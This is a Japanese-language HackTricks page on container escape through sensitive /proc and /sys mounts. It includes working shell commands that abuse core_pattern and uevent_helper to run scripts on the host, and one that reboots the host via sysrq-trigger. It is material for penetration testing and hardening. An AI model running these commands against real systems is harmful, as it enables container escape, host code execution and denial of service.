Sensitive Mounts

htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

/procおよび/sysの適切な名前空間分離なしでの公開は、攻撃面の拡大や情報漏洩など、重大なセキュリティリスクをもたらします。これらのディレクトリには機密ファイルが含まれており、誤って構成されたり、権限のないユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助長する情報が提供される可能性があります。たとえば、-v /proc:/host/procを誤ってマウントすると、パスベースの性質によりAppArmor保護がバイパスされ、/host/procが保護されなくなります。

各潜在的な脆弱性の詳細は https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountsで見つけることができます。

procfsの脆弱性

/proc/sys

このディレクトリは通常、sysctl(2)を介してカーネル変数を変更することを許可し、いくつかの懸念のあるサブディレクトリを含んでいます。

/proc/sys/kernel/core_pattern

  • core(5)で説明されています。

  • 最初の128バイトを引数として使用してコアファイル生成時に実行するプログラムを定義できます。ファイルがパイプ|で始まる場合、コードの実行につながる可能性があります。

  • テストおよび悪用例

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 書き込みアクセスをテスト
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # カスタムハンドラを設定
sleep 5 && ./crash & # ハンドラをトリガー

/proc/sys/kernel/modprobe

  • proc(5)で詳細に説明されています。

  • カーネルモジュールローダーへのパスを含み、カーネルモジュールの読み込み時に呼び出されます。

  • アクセスの確認例

ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認

/proc/sys/vm/panic_on_oom

  • proc(5)で言及されています。

  • OOM条件が発生した場合にカーネルがパニックを起こすかOOMキラーを呼び出すかを制御するグローバルフラグです。

/proc/sys/fs

  • proc(5)によると、ファイルシステムに関するオプションと情報が含まれています。

  • 書き込みアクセスはホストに対するさまざまなサービス拒否攻撃を有効にする可能性があります。

/proc/sys/fs/binfmt_misc

  • マジックナンバーに基づいて非ネイティブのバイナリ形式のインタプリタを登録することを可能にします。

  • /proc/sys/fs/binfmt_misc/registerが書き込み可能である場合、特権昇格やルートシェルアクセスにつながる可能性があります。

  • 関連するエクスプロイトと説明:

  • 詳細なチュートリアル:ビデオリンク

/procのその他の項目

/proc/config.gz

  • CONFIG_IKCONFIG_PROCが有効になっている場合、カーネル構成を公開する可能性があります。

  • 実行中のカーネルの脆弱性を特定するために攻撃者に役立ちます。

/proc/sysrq-trigger

  • Sysrqコマンドを呼び出すことを許可し、即座のシステム再起動やその他の重要なアクションを引き起こす可能性があります。

  • ホストの再起動例

echo b > /proc/sysrq-trigger # ホストを再起動

/proc/kmsg

  • カーネルリングバッファメッセージを公開します。

  • カーネルのエクスプロイト、アドレスリーク、および機密システム情報の提供に役立ちます。

/proc/kallsyms

  • カーネルがエクスポートしたシンボルとそのアドレスをリストします。

  • 特にKASLRを克服するためにカーネルエクスプロイトの開発に不可欠です。

  • アドレス情報は、kptr_restrict1または2に設定されている場合に制限されます。

  • 詳細はproc(5)にあります。

/proc/[pid]/mem

  • カーネルメモリデバイス/dev/memとやり取りします。

  • 歴史的に特権昇格攻撃の脆弱性がありました。

  • proc(5)で詳細に説明されています。

/proc/kcore

  • ELFコア形式でシステムの物理メモリを表します。

  • 読み取りによりホストシステムや他のコンテナのメモリ内容が漏洩する可能性があります。

  • 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。

  • 2019年のDumping /proc/kcoreでの詳細な使用法。

/proc/kmem

  • カーネル仮想メモリを表す/dev/kmemの代替インターフェースです。

  • 読み取りと書き込みを許可し、したがってカーネルメモリの直接変更を可能にします。

/proc/mem

  • 物理メモリを表す/dev/memの代替インターフェースです。

  • 読み取りと書き込みを許可し、すべてのメモリの変更には仮想から物理アドレスへの解決が必要です。

/proc/sched_debug

  • PID名前空間の保護をバイパスしてプロセススケジューリング情報を返します。

  • プロセス名、ID、およびcgroup識別子を公開します。

/proc/[pid]/mountinfo

  • プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。

  • コンテナのrootfsまたはイメージの場所を公開します。

/sysの脆弱性

/sys/kernel/uevent_helper

  • カーネルデバイスueventsを処理するために使用されます。

  • /sys/kernel/uevent_helperに書き込むと、ueventトリガー時に任意のスクリプトが実行される可能性があります。

  • 悪用の例: %%%bash

ペイロードを作成

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

コンテナのOverlayFSマウントからホストパスを見つける

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

uevent_helperを悪意のあるヘルパーに設定

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

ueventをトリガー

echo change > /sys/class/mem/null/uevent

出力を読む

cat /output %%%

/sys/class/thermal

  • 温度設定を制御し、DoS攻撃や物理的損傷を引き起こす可能性があります。

/sys/kernel/vmcoreinfo

  • カーネルアドレスを漏洩し、KASLRを危険にさらす可能性があります。

/sys/kernel/security

  • securityfs インターフェースを収容し、AppArmorのようなLinuxセキュリティモジュールの構成を可能にします。

  • アクセス権限を持つことで、コンテナがMACシステムを無効にすることができるかもしれません。

/sys/firmware/efi/vars および /sys/firmware/efi/efivars

  • NVRAM内のEFI変数とやり取りするためのインターフェースを公開します。

  • 誤った構成や悪用により、ブリック化したノートパソコンや起動不能なホストマシンにつながる可能性があります。

/sys/kernel/debug

  • debugfs はカーネルに対する「ルールのない」デバッグインターフェースを提供します。

  • 制限のない性質からくるセキュリティ問題の歴史があります。

参考文献

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated